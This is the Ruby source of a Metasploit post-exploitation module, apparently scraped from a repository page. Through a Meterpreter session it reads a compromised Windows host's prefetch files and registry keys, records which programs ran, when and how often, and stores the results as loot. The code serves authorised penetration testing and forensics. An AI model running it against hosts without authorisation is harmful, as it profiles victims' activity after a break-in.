Path: blob/master/modules/post/windows/gather/enum_prefetch.rb
21545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Prefetch File Information',15'Description' => %q{16This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems17and current values of related registry keys. From each prefetch file we'll collect18filetime (converted to utc) of the last execution, file path hash, run count, filename19and the execution path.20},21'License' => MSF_LICENSE,22'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],23'Platform' => ['win'],24'SessionType' => ['meterpreter'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29},30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_fs_search34stdapi_sys_config_getenv35]36}37}38)39)40end4142def print_prefetch_key_value43# Checks if Prefetch registry key exists and what value it has.44prefetch_key_value = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters', 'EnablePrefetcher')45if prefetch_key_value == 046print_error('EnablePrefetcher Value: (0) = Disabled (Non-Default).')47elsif prefetch_key_value == 148print_good('EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).')49elsif prefetch_key_value == 250print_good('EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).')51elsif prefetch_key_value == 352print_good('EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).')53else54print_error('No value or unknown value. Results might vary.')55end56end5758def print_timezone_key_values(key_value)59# Looks for timezone information from registry.60timezone = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation', key_value)61tz_bias = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation', 'Bias')62if timezone.nil? || tz_bias.nil?63print_line("Couldn't find key/value for timezone from registry.")64else65print_good('Remote: Timezone is %s.' % timezone)66if tz_bias < 0xfff67print_good('Remote: Localtime bias to UTC: -%s minutes.' % tz_bias)68else69offset = 0xffffffff70bias = offset - tz_bias71print_good('Remote: Localtime bias to UTC: +%s minutes.' % bias)72end73end74end7576def gather_pf_info(name_offset, hash_offset, runcount_offset, filetime_offset, filename)77# Collects the desired information from each prefetch file found78# from the system.7980prefetch_file = read_file(filename)81if prefetch_file.blank?82print_error("Couldn't read file: #{filename}")83return nil84else85# First we extract the saved filename86pf_filename = prefetch_file[name_offset, 60]87idx = pf_filename.index("\x00\x00")88name = Rex::Text.to_ascii(pf_filename.slice(0..idx))8990# Then we get the runcount91run_count = prefetch_file[runcount_offset, 4].unpack('v')[0]9293# Then the filepath hash94path_hash = prefetch_file[hash_offset, 4].unpack('h*')[0].upcase.reverse9596# Last we get the latest execution time97filetime_a = prefetch_file[filetime_offset, 16].unpack('q*')98filetime = filetime_a[0] + filetime_a[1]99last_exec = Time.at((filetime - 116444736000000000) / 10000000).utc.to_s100101# This is for reading file paths of the executable from102# the prefetch file. We'll use this to find out from where the103# file was executed.104105# First we'll use specific offsets for finding out the location106# and length of the filepath so that we can find it.107filepath = []108fpath_offset = prefetch_file[0x64, 2].unpack('v').first109fpath_length = prefetch_file[0x68, 2].unpack('v').first110filepath_data = prefetch_file[fpath_offset, fpath_length]111112# This part will extract the filepath so that we can find and113# compare its contents to the filename we found previously. This114# allows us to find the filepath (if it can be found inside the115# prefetch file) used to execute the program116# referenced in the prefetch-file.117unless filepath_data.blank?118fpath_data_array = filepath_data.split("\\\x00D\x00E\x00V\x00I\x00C\x00E")119fpath_data_array.each do |path|120next if path.blank?121122fpath_name = path.split('\\').last.gsub(/\0/, '')123if fpath_name == name124filepath << path125end126end127end128end129if filepath.blank?130filepath << '*** Filepath not found ***'131end132133return [last_exec, path_hash, run_count, name, filepath[0]]134end135136def run137print_status('Prefetch Gathering started.')138139# Check to see what Windows Version is running.140# Needed for offsets.141# Tested on WinXP, Win2k3 and Win7 systems.142# http://www.forensicswiki.org/wiki/Prefetch143# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format144145error_msg = "You don't have enough privileges. Try getsystem."146147version = get_version_info148if version.xp_or_2003?149150if !is_admin?151print_error(error_msg)152return nil153end154155# Offsets for WinXP & Win2k3156print_good("Detected #{version.product_name} (max 128 entries)")157name_offset = 0x10158hash_offset = 0x4C159runcount_offset = 0x90160filetime_offset = 0x78161# Registry key for timezone162key_value = 'StandardName'163164elsif version.win7_or_2008r2? && !version.windows_server?165if !is_admin?166print_error(error_msg)167return nil168end169170# Offsets for Win7171print_good("Detected #{version.product_name} (max 128 entries)")172name_offset = 0x10173hash_offset = 0x4C174runcount_offset = 0x98175filetime_offset = 0x78176# Registry key for timezone177key_value = 'TimeZoneKeyName'178else179print_error('No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.')180return nil181end182183table = Rex::Text::Table.new(184'Header' => 'Prefetch Information',185'Indent' => 1,186'Columns' =>187[188'Last execution (filetime)',189'Run Count',190'Hash',191'Filename',192'Filepath'193]194)195196print_prefetch_key_value197print_timezone_key_values(key_value)198print_good('Current UTC Time: %s' % Time.now.utc)199sys_root = session.sys.config.getenv('SYSTEMROOT')200full_path = sys_root + '\\Prefetch\\'201file_type = '*.pf'202print_status('Gathering information from remote system. This will take awhile..')203204# Goes through the files in Prefetch directory, creates file paths for the205# gather_pf_info function that enumerates all the pf info206207getfile_prefetch_filenames = client.fs.file.search(full_path, file_type)208if getfile_prefetch_filenames.empty? || getfile_prefetch_filenames.nil?209print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)")210return nil211else212getfile_prefetch_filenames.each do |file|213if file.empty? || file.nil?214next215else216filename = ::File.join(file['path'], file['name'])217pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filetime_offset, filename)218if !pf_entry.nil?219table << pf_entry220end221end222end223end224225# Stores and prints out results226results = table.to_s227loot = store_loot('prefetch_info', 'text/plain', session, results, nil, 'Prefetch Information')228print_line("\n" + results + "\n")229print_status('Finished gathering information from prefetch files.')230print_status("Results stored in: #{loot}")231end232end233234235